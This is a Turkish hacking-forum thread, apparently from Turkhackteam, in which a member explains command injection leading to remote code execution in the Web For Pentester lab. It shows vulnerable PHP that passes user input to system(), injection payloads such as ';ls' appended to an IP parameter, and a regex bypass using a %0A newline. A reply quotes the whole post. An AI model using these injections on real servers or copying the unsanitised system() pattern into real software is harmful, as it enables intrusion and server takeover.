Remote Code Execution (RCE) #2 Güvenlik Açığı (Detaylı)

Bunjo

Uzman üye
14 Ara 2020
1,595
1,901
Faraday
ro3fzuc.png


lbn20fm.png
2q250vr.png


Merhaba ben saldırı timlerinden BUNJO, bu konuda "Remote Code Execution (RCE)" güvenlik açığını anlatmaya devam edeceğim.

Eski konu için tıklayınız...

Bu sefer "Web For Pentester" kullanacağım.

Web For Pentester İçin Tıkla...

Senaryo 1

Bu senaryoda hiçbir filtreleme işlemi yapılmadığı zaman izleyeceğimiz yolu ele alacağım.

Sireteye giriş yaptığımız zaman URL'de ping atmak için bizden bir değer alındığını görüyoruz.






Açık Neden Kaynaklanıyor?


İlgili örneğin kaynak kodu:





PHP:


PHP:
<?php require_once("../header.php"); ?>
<pre>
<?php
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>


Burada kullanıcıdan "GET" parametresi ile alınan IP değeri system() ile direkt sunucu üzerinde çalıştırılacak olan bir ping komutuna gönderilip, çalıştırılıyor.
Burada bu zafiyeti sömürme şeklimiz şu olacak:


PING çıktısına baktığımız zaman;



Rich (BB code):
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.016/0.026/0.037/0.011 ms


Bir "Linux" sistem olduğunu anlıyoruz. Linux sistemlerde tek satırda birden fazla komut çalıştırmamızı sağlayan operatörler var.


Bash:
ping -c 2 google.com; ls




Bu şekilde sunucuda istediğiniz kodu çalıştırabilirsiniz. Daha önce açtığım konuda shell almaya kadar anlattığım için tekrardan detaya girmiyorum.



Rich (BB code):
/commandexec/example1.php?ip=127.0.0.1;ls

Shell aldığımız konudan örnek:



Senaryo 2

Bu senaryoda sunucuda bulunan bir fitlreleme işlemi yapıldığında izleyeceğimiz yolun ne olduğunu göstereceğim.

Evet yine GET parametresine sunucuda çalıştırmak istediğim komutu yazıyorum.



Fakat bu sefer bir ip adresi kontrolünün yapıldığını anlıyorum.

Burada Açık Neyden Kaynaklanıyor?



PHP:

PHP:
<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

Kısacası kodu özetlersem; burada bir filtreleme olduğunu görüyoruz fakat burada filtreleme sadece bir satır için geçerli "%0A" ile alt satıra
inip istediğimiz kodu çalıştırmaya devam edebiliriz.


Normalde shell almayı ve başka ekstra şeyler de gösterecektim fakat birtakım olaylar sebebiyle konuyu burada sonlandırıyorum.

Herkes her konuda konuşup gösteriş yapmayı çok biliyor fakat iş icraate geldiğinde pek sahnede olamıyorlar.

Okuduğunuz için teşekkür ederim.
 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,825
426
localhost
ro3fzuc.png


lbn20fm.png
2q250vr.png


Merhaba ben saldırı timlerinden BUNJO, bu konuda "Remote Code Execution (RCE)" güvenlik açığını anlatmaya devam edeceğim.

Eski konu için tıklayınız...

Bu sefer "Web For Pentester" kullanacağım.

Web For Pentester İçin Tıkla...

Senaryo 1

Bu senaryoda hiçbir filtreleme işlemi yapılmadığı zaman izleyeceğimiz yolu ele alacağım.

Sireteye giriş yaptığımız zaman URL'de ping atmak için bizden bir değer alındığını görüyoruz.






Açık Neden Kaynaklanıyor?


İlgili örneğin kaynak kodu:





PHP:


PHP:
<?php require_once("../header.php"); ?>
<pre>
<?php
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>


Burada kullanıcıdan "GET" parametresi ile alınan IP değeri system() ile direkt sunucu üzerinde çalıştırılacak olan bir ping komutuna gönderilip, çalıştırılıyor.
Burada bu zafiyeti sömürme şeklimiz şu olacak:


PING çıktısına baktığımız zaman;



Rich (BB code):
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.016/0.026/0.037/0.011 ms


Bir "Linux" sistem olduğunu anlıyoruz. Linux sistemlerde tek satırda birden fazla komut çalıştırmamızı sağlayan operatörler var.


Bash:
ping -c 2 google.com; ls




Bu şekilde sunucuda istediğiniz kodu çalıştırabilirsiniz. Daha önce açtığım konuda shell almaya kadar anlattığım için tekrardan detaya girmiyorum.



Rich (BB code):
/commandexec/example1.php?ip=127.0.0.1;ls

Shell aldığımız konudan örnek:



Senaryo 2

Bu senaryoda sunucuda bulunan bir fitlreleme işlemi yapıldığında izleyeceğimiz yolun ne olduğunu göstereceğim.

Evet yine GET parametresine sunucuda çalıştırmak istediğim komutu yazıyorum.



Fakat bu sefer bir ip adresi kontrolünün yapıldığını anlıyorum.

Burada Açık Neyden Kaynaklanıyor?



PHP:

PHP:
<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

Kısacası kodu özetlersem; burada bir filtreleme olduğunu görüyoruz fakat burada filtreleme sadece bir satır için geçerli "%0A" ile alt satıra
inip istediğimiz kodu çalıştırmaya devam edebiliriz.


Normalde shell almayı ve başka ekstra şeyler de gösterecektim fakat birtakım olaylar sebebiyle konuyu burada sonlandırıyorum.

Herkes her konuda konuşup gösteriş yapmayı çok biliyor fakat iş icraate geldiğinde pek sahnede olamıyorlar.

Okuduğunuz için teşekkür ederim.
eline sağlık hocam
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.